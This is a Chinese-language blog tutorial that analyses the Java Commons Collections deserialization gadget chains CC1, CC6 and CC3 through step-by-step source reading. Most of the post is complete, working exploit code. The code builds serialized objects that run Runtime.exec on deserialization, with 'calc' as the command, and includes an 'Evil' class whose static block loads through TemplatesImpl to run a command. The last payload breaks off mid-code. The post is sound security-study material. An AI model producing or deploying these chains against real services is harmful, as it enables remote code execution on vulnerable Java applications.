Java_CC链和CB链
jerem1ah Lv4

参考

https://github.com/Y4tacker/JavaSec

https://blog.csdn.net/m0_64815693/article/details/130174363 //cc链入门

https://www.freebuf.com/articles/web/336628.html

https://www.yuque.com/tianxiadamutou/zcfd4v/rwx6sb#2914a06f //天下大木头 语雀文档

https://github.com/bfengj/CTF/tree/main //bfengj

https://www.cnblogs.com/BUTLER/p/17156598.html //butler fastjson文章

https://exp10it.cn/2022/11/commonscollections-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#commonscollections7

https://cloud.tencent.com/developer/article/2278268

https://blog.csdn.net/qq_35733751/article/details/119862728

https://exp10it.cn/2022/11/commonscollections-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#commonscollections2

CC1链分析(vscode)失败【vscode对老版本的不支持】

jdk8u65源码下载https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

image-20231016104513954

解压后将src/share/classes的sun复制到/src/sun,接着到ide配置

image-20231013224312125

一、

首先看org.apache.commons.collections.functors.InvokerTransformer类下的transform方法

image-20231013174635592

该方法当input为Runtime.getRuntime()对象、iMethodName为exec、iParamTypes为String.class时、且iArgs可控时,能够利用反射执行任意代码。这就是反序列化链的最后利用点,有了利用点我们倒着寻找调用函数。

找到该类的构造函数,发现iMethodName、iParamTypes、iArgs均可控,如下:

image-20231013175145172

二、

然后就是找哪里调用了InvokerTransformer类的transform方法

我们接着看org.apache.commons.collections.map.TransformedMap类的checkSetValue方法,该方法是一个protected的方法,实现了transform的调用,如下:

image-20231013181430998

接着看构造函数TransformedMap,也是一个protected方法,当参数valueTransformer可控时,能够使checkSetValue函数中valueTransformer对象成为InvokerTransformer类的对象。我们需要的是找到该函数调用的地方,下面分析。如下:

image-20231013181632614

我们在TransformedMap类中找到了一个静态函数decorate,该函数调用了其受保护的构造函数,且参数可控,能够使valueTransformer对象成为InvokerTransformer类的对象,如下:

image-20231013182103805

有了这些,还需要找到调用checkSetValue函数的地方。在TransformedMap类的父类AbstractInputCheckedMapDecorator中,找到了静态类MapEntry,其下中的setValue函数调用了checkSetValue函数,如下:

image-20231013183840338

综上,我们如下代码,就能实现调用InvokerTransformer类的transform方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.example.demo;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class DemoApplication {
public static void main(String[] args){
HashMap<Object,Object> hashmap = new HashMap<>();hashmap.put(0, 0);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map<Object,Object> decorate = TransformedMap.decorate(hashmap, null, invokerTransformer);
for (Map.Entry objecEntry:decorate.entrySet()){
objecEntry.setValue(Runtime.getRuntime());
}
}
}

以上代码的一些解释,objecEntry这个对象对应的是TransformedMap对象,其TransformedMap类继承了AbstractInputCheckedMapDecorator类,其中的静态类MapEntry继承了AbstractMapEntryDecorator类,而AbstractMapEntryDecorator实现了Map.Entry接口,所以调用objecEntry.setValue()最后是回到被覆写的方法setValue上,如下:

image-20231013194836934

image-20231013194855588

image-20231013194915926

image-20231013193346673

三、

以上代码实现了通过setValue函数调用,后面还需继续分析,找到readObject处的调用。

经过搜索可以发现,在sun.reflect.annotation.AnnotationInvocationHandler类中的readObject中有我们需要的setValue调用。

image-20231013231456148

image-20231013230407552

以上这个图片不太一样,可能是我用的反编译的代码,也可能是我的版本不是jdk8u65,而是比较新的jdk17造成的,抑或是对应的类的代码更新了,这个代码找了一下午找不多网上对应的原版本。就将就了。正确的应该是下图:

image-20231013230640345

查看构造函数,发现memberValues参数可控,如图:

image-20231013231247693

有了上面这些,最终就能集中到一个对象上,然后序列化就行,反序列时将调用readObject函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package com.example.demo;

import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class DemoApplication {
public static void main(String[] args)
throws Exception{
HashMap<Object,Object> hashmap = new HashMap<>();hashmap.put(0, 0);
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
Map<Object,Object> decorate = TransformedMap.decorate(hashmap, null, invokerTransformer);
// for (Map.Entry objecEntry:decorate.entrySet()){
// objecEntry.setValue(Runtime.getRuntime());
// }

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Override.class,decorate);
}
}

接着还需要反序列化。还需要解决Runtime不能序列化的问题。

最终版的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

/**
* Hello world!
*
*/
public class App
{
public static void main(String[] args)
throws Exception{
HashMap<Object,Object> hashmap = new HashMap<>();hashmap.put("value", "b");
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> decorate = TransformedMap.decorate(hashmap, null, chainedTransformer);

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,decorate);
serialize(o);
unserialize("./test.bin");
}
public static void serialize(Object obj)throws Exception{
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("./test.bin")));
out.writeObject(obj);
out.close();
}
public static void unserialize(String filename)throws Exception{
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
in.readObject();
in.close();
}
}

CC1链分析(idea)粗略分析

利用链

1
2
3
4
5
6
7
AnnotationInvocationHandler.readObject()
$Proxy.entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()

环境配置

jdk8u65源码下载https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

image-20231016104513954

解压后将src/share/classes的sun复制到/src/sun,接着到ide配置

image-20231013224312125

image-20231016110310820

配置maven依赖

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
1
2
3
4
5
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>

image-20231016110427613

分析1

payload代码,如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

/**
* Hello world!
*
*/
public class App
{
public static void main(String[] args)
throws Exception{
HashMap<Object,Object> hashmap = new HashMap<>();hashmap.put("value", "b");
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> decorate = TransformedMap.decorate(hashmap, null, chainedTransformer);

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,decorate);
serialize(o);
unserialize("./test.bin");
}
public static void serialize(Object obj)throws Exception{
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("./test.bin")));
out.writeObject(obj);
out.close();
}
public static void unserialize(String filename)throws Exception{
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
in.readObject();
in.close();
}
}
AnnotationInvocationHandler类的构造函数,以及ReadObject函数执行过程,如下俩图:

image-20231016163054161

image-20231016163236212

memberValue.setVaule函数执行过程,如下:

image-20231016163919424

image-20231016164137546

image-20231016164023348

ChainedTransformer类的transform方法的执行过程,如下图:

image-20231016135220674

ChainedTransformer类的transform方法,代码调用,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//相当于
/*
Class c = Runtime.class;
Method getRuntimeMet = c.getMethod("getRuntime", null);
*/
Method getMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);


//相当于
//Runtime r = (Runtime) getRuntimeMet.invoke(null, null);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);

//相当于
/*
Method execMet = c.getMethod("exec", String.class);
execMet.invoke(r, "notepad");
*/
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"notepad"}).transform(r);
InvokerTransformer类的transform方法执行过程,如下俩图:

image-20231016162656503

image-20231016162530679

image-20231016111327640

ConstantTransformer类的构造函数和transform函数,如下俩图:

image-20231016142323596

image-20231016142345993

image-20231016142008345

分析2

通过分析1可知,有了利用的地方,只要找到调用transform的地方就行

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

我们搜索transform的使用,发现不仅有以上的TransformerMap可以利用,还有LazyMap如下:

image-20231017214140622

我们详细看一下这个函数,此处是检测map中的键值是否包含我们传入的key,如果没有的话就调用transform函数生成一个value,添加到map中:

image-20231017214541526

我们跟进org.apache.commons.collections.map.LazyMap类,查看get函数中,factory变量是否可控,跟进构造函数:

可以发现这是一个protected的函数,只能在本类调用,factory参数可控。

image-20231017214856862

跟进其static函数,调用了构造函数,且参数factory我们可控:

image-20231017215129790

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
Map decorate = LazyMap.decorate(hashMap,chainedTransformer);
decorate.get("key");

可以看到,成功弹出计算器

image-20231017215524778

接着就是找在哪里出发get函数,

在此之前先看一下动态代理,参考廖雪峰老师的网站:

还有一种方式是动态代码,我们仍然先定义了接口Hello,但是我们并不去编写实现类,而是直接通过JDK提供的一个Proxy.newProxyInstance()创建了一个Hello接口对象。这种没有实现类但是在运行期动态创建了一个接口对象的方式,我们称为动态代码。JDK提供的动态创建接口对象的方式,就叫动态代理。

一个最简单的动态代理实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class Main {
public static void main(String[] args) {
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}
return null;
}
};
Hello hello = (Hello) Proxy.newProxyInstance(
Hello.class.getClassLoader(), // 传入ClassLoader
new Class[] { Hello.class }, // 传入要实现的接口
handler); // 传入处理调用方法的InvocationHandler
hello.morning("Bob");
}
}

interface Hello {
void morning(String name);
}

我们接着来看get函数,get函数的调用在invoke函数里面,

image-20231018000435063

而由动态代理可知,只要代理对象的任意方法被触发,就会来到invoke函数,我们只需要利用动态代理创建一个接口对象即可,当接口对象的某个方法被调用,即可触发invoke函数。

1
2
3
4
5
6
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,decorate);
Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler);
Object o = constructor.newInstance(Override.class,proxyInstance);

接着任意一处的函数调用即可,

image-20231018002514191

LazyMap的链感觉要比TransformerMap的链要简单一些,容易理解。

完整的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Main{
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
Map decorate = LazyMap.decorate(hashMap,chainedTransformer);
decorate.get("key");

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,decorate);
Map proxyInstance = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},handler);
Object o = constructor.newInstance(Override.class,proxyInstance);

serialize(o);
unserialize("3.bin");



}
public static void serialize(Object o) throws Exception {
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("3.bin")));
out.writeObject(o);
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
in.readObject();
}
}

CC6链分析【高版本jdk利用】

利用链

1
2
3
4
5
6
7
8
9
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()

分析

cc6是在cc1的基础上解决了高版本jdk不能触发的问题,这里使用cc1的LazyMap链子

直接来到get方法的调用,

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
Map decorate = LazyMap.decorate(hashMap,chainedTransformer);
decorate.get("key");

后面的任务就是寻找一个调用get方法的类,这个肯定是有很多的,在cc1里面我们找的是invoke方法,这里我们找TiedMapEntry类的getValue方法,看图:

image-20231018095307660

然后map我们可控,看构造函数:

image-20231018095340986

接着就是找调用getValue函数的地方,来到hashCode方法,看图:

image-20231018095448642

所以,只需要调用TiedMapEntry类的hashCode方法即可,

接着我们来看HashMap类,

image-20231018100030798

这里可以看到,hash方法只要传入的key不为null,都是可以触发其hashCode方法的。

接着找hash的调用地方,看readObject函数,

image-20231018100413895

image-20231018100501956

1
2
3
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"123");

这样即可实现调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class Main {
public static void main(String[] args) throws Exception{
System.out.println("Hello world!");

Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);
Map<Object,Object> hashmap = new HashMap<>();
Map decorate = LazyMap.decorate(hashmap,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123");
HashMap hashMap = new HashMap();
hashMap.put(tiedMapEntry,"123");

serialize(hashMap);
unserialize("test.bin");
}
public static void serialize(Object o)throws Exception{
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin")));
out.writeObject(o);
}
public static void unserialize(String name)throws Exception{
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name)));
in.readObject();
}
}

这里存在问题,就是序列化时也会执行代码,反序列化时也会执行代码,但是为什么只执行了一次命令,经过分析这个命令是在put时执行的。也就是说,我们反序列化和序列化都没执行命令。我们需要找出问题。

我们跟进HashMap的put方法,

image-20231018101920670

可以看到这里是执行了他的hash方法的,我们要避免,可以通过反射完成,在添加时随意添加一个,然后再修改为正确的。

这个是最终版的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;


public class Main {
public static void main(String[] args) throws Exception{
System.out.println("Hello world!");

Transformer[] transforms = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transforms);


HashMap<Object,Object> hashmap = new HashMap<>();
hashmap.put("123","456");

Map<Object,Object> decorate = LazyMap.decorate(hashmap,new ConstantTransformer(2));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"key");

HashMap<Object,Object> expHashMap = new HashMap<>();
expHashMap.put(tiedMapEntry,"value");
decorate.remove("key");


Class clz = LazyMap.class;
Field factoryField = clz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(decorate,chainedTransformer);

serialize(expHashMap);
unserialize("test.bin");
}
public static void serialize(Object o)throws Exception{
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin")));
out.writeObject(o);
}
public static void unserialize(String name)throws Exception{
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name)));
in.readObject();
}
}

至于为什么要remove,是因为在反序列化时有个if函数,需要绕过。

image-20231018122629195

这样最终就能实现,序列化时不执行命令,反序列化时执行命令。

最后,补充一下,因为不受jdk版本的限制,我终于能在配置好环境的vscode上执行代码测试了,jdk17能够成功命令执行

image-20231018123329736

CC3链分析

调用链

1
2
3
4
5
6
7
8
9
10
AnnotationInvocationHandler.readObject()
$Proxy.entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()

先看一下基础内容,参考:https://blog.csdn.net/m0_64815693/article/details/130499112?spm=1001.2014.3001.5502

动态类加载

我们在学java基础的时候,都应该接触到了一个叫做代码块的东西吧,这里我们要使用动态类加载和代码块。

1
2
3
4
5
6
7
8
9
10
11
public class test {
static {
System.out.println(1);
}
public test(){
System.out.println(2);
}
public void aaa(){
System.out.println(3);
}
}

这里我们创建一个类,里面只有一个静态代码块,然后使用两种方法的动态类加载来使用他。

第一种方法

1
2
3
4
String url = "org.example.cc3.test";
Class<?> className = Class.forName(url); //输出1
test test1 = (test) className.newInstance(); //输出2
test1.aaa(); //输出3

第二种方法

1
2
3
4
5
String url2 = "org.example.cc3.test";
ClassLoader loader = ClassLoader.getSystemClassLoader();
Class<?> clazz = loader.loadClass(url2); //输出空
test test2 = (test) clazz.newInstance(); //输出1和2
test2.aaa(); //输出3

两个一起

1
2
3
4
5
6
7
8
9
10
String url = "org.example.cc3.test";
Class<?> className = Class.forName(url); //输出1
test test1 = (test) className.newInstance(); //输出2
test1.aaa(); //输出3

String url2 = "org.example.cc3.test";
ClassLoader loader = ClassLoader.getSystemClassLoader();
Class<?> clazz = loader.loadClass(url2);
test test2 = (test) clazz.newInstance(); //输出2
test2.aaa(); //输出3

这里解释一下比较多的疑惑

疑惑1:两个一起为什么下面那个不输出1了

首先我们要知道输出1使用的静态方法块,静态方法块通常是用于初始化的,所以他只会执行一次。

疑惑2:第二种方法,loadClass已经触发类,为什么没有输出1,而是等到newInstance的时候两个一起输出,这个和第一种有什么区别吗。

这里我们就要讲一下他们的区别了。

Class.forName() 除了会加载类外,还会初始化该类(执行静态代码块等)

ClassLoader.loadClass() 仅执行加载操作,不会初始化类

疑惑3:第二种方法中newInstance后,为什么一次性会输出两个

newInstance是通过调用类的默认公有构造方法来实例化对象,所以他是调用了构造方法,同时也进行了初始化的操作,所以他是会触发构造方法和静态方法块的。

注:如果没有loadClass他是不会触发静态方法块的

以上代码进行调试验证,

image-20231018191910153

image-20231018192347263

image-20231018192445556

链子分析

框架图

img_v2_9852e9ad-f506-4f0d-86b4-f009141a655g

第一阶段-newTransformer方法

这里我们是使用ClassLoader来加载类,使用方法上面介绍了,这里我先讲解另一个知识点。

当 ClassLoader 加载一个类时,如果这个类之前没有被加载过,它会调用自身的 defineClass() 方法来将类的字节码转换为 Class 对象。

所以也就是说,当调用 loadClass() 方法时,如果该类之前没有被加载,那么底层会调用 defineClass() 方法。

这里找到这个defineClass方法,然后右键查看用法。

image-20231018193919730

找到com.sun.org.apache.xalan.internal.xsltc.trax中的TemplatesImpl类调用了此函数,由此类的defineClass函数调用,

image-20231018204038771

接着找到defineTransletClasses函数调用了此类的defineClass函数,如下

image-20231018204343850

接着找到三处地方调用了defineTransletClasses函数,显然第三处的getTransletInstance私有方法可利用的地方更多,直接具有了newInstance函数的调用,此处即可执行加载类的静态代码块。

image-20231018204622775

接着找getTransletInstance函数掉用的地方,仅有一处调用,但是够我们用了,很巧

image-20231018204855951

根据以上,我们可以编写代码,但是存在问题,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
public static void main(String[] args) throws Exception {
System.out.println("Hello world!");

TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");

byte[] code = Files.readAllBytes(Paths.get("E:\\03code_environment\\02java\\04idea_cc\\cc3\\target\\classes\\org\\example\\Evil.class"));
byte[][] codes = {code};
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
_bytecodesField.set(templates,codes);

templates.newTransformer();
}
}

image-20231018210218861

image-20231018210450081

此处,_tfactory调用了一个方法,但是可以看到_factory的初始值为空,我们尝试通过反射改变其值,发现还是报错,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
System.out.println("Hello world!");

TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");

byte[] code = Files.readAllBytes(Paths.get("E:\\03code_environment\\02java\\04idea_cc\\cc3\\target\\classes\\org\\example\\Evil.class"));
byte[][] codes = {code};
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
_bytecodesField.set(templates,codes);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

templates.newTransformer();

image-20231018212104349

我们下断点调试,

image-20231018212525132

image-20231018212650729

所以我们直接改变superClass即可,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
static {
System.out.println(123123);
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}
1
2
3
4
5
6
7
static {
try{
Runtime.getRuntime().exec("calc");
}catch (IOException e){
throw new RuntimeException(e);
}
}

到此,以上代码能够通过newTransformer函数调用了,后面就是接壤CC1的链子调用了。

以上可以再稍微改善一下,通过这串代码引入code,不过需要额外添加依赖,比用绝对路径优雅一点:

1
2
3
4
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(Evil.class.getName());
byte[] code = clazz.toBytecode();
byte[][] codes = {code};
第四阶段-接壤cc1链【CC1LazyMap+CC6高版本JDK】
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
System.out.println("Hello world!");

TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");

